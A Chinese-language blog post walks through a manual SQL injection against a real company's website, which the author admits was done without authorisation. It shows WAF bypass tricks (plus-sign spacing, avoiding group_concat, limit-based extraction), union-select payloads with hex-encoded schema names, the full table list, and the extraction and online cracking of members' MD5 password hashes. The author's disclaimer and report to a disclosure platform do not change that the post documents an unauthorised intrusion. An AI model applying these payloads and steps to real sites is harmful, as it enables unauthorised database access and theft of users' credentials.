SQL注入的一次实战，手动注入绕过WAF完成注入
目标网站是江苏某公司 未拿到授权，以练习为主 点到为止！绝不做违法的事情 该漏洞已提交至补天漏洞安全响应平台
免责声明
本文章仅供学习和参考。因用于其他用途而产生不良后果,作者不承担任何法律责任。
寻找漏洞点
该公司前台页面结构如下：
尝试手动注入 测试id=6 and 1=1 被后台WAF拦截
将空格替换为+，即id=6+and+1=1 不再拦截，返回正常页面，再将id改为id=6+and+1=2，返回为空 网站存在注入点
确定字段数目
通过order by 确定字段数目，经过二分法不断测试 ，查询的字段数为1
查询数据库
查询当前所有数据库名称，被WAF拦截
分别将 URL 中的 group_concat()、from、information_schema、schemata 字符依次删除并发送请求.
最后确定是group_concat() 命中了waf规则，并且是 group_concat 和括号 () 在一起的时候才会触发拦截。
将 group_concat() 替换为 group_concat//()，仍然被拦截
不确定是黑名单匹配还是只要包含//这类注释就用正则匹配全部拦截，测试一下，打开burpsuite，使用intrude模块在 /**/ 中间加入随机任意字符串例如 /asd13/ 等，发现确实有些返回包不是 waf 拦截，但是返回状态码403且有如下提示，同样无法正常展示注入的数据，此路行不通
尝试内敛注释 /!group_concat()/ 也被拦截
拼接字符串相关的 concat()函数、concat_ws()函数都被拦截。
好吧，那就不直接获取全部返回值了，老老实实加上 limit 一个一个来吧
经测试，这个网站的数据库就这一个。
好极了，没有被WAF拦截 返回了当前的数据库 成功绕过！！
读取数据库数据
读取数据库中的表
url?id=-6+union+select+table_name+from+information_schema.tables+where+table_schema=0x73616e79696e67+limit+0,1–+
在=后面是该数据库的名字的16进制编码。
经过测试 当前数据库表共有17个 分别是
db_down 0x64625f646f776e20
db_field 0x64625f6669656c64
db_files 0x64625f66696c6573
db_index_images 0x64625f696e6465785f696d61676573
db_jobs 0x64625f6a6f6273
db_manage 0x64625f6d616e616765
db_member 0x64625f6d656d626572
db_menu 0x64625f6d656e75
db_message 0x64625f6d657373616765
db_my_ads 0x64625f6d795f616473
db_my_links 0x64625f6d795f6c696e6b73
db_news 0x64625f6e657773
db_products 0x64625f70726f6475637473
db_record 0x64625f7265636f7264
db_reservation 0x64625f7265736572766174696f6e
db_singlepage 0x64625f73696e676c6570616765
db_web_class 0x64625f7765625f636c617373
选取member表查看一下注册的用户名和对应的密码，密码经过了md5加密 去在线解密网站解密一下即可。
到此为止，整个渗透过程全部结束 感觉现在的厂家防护能力做的都是表面工作啊。没有对用户的输入信息进行完全过滤。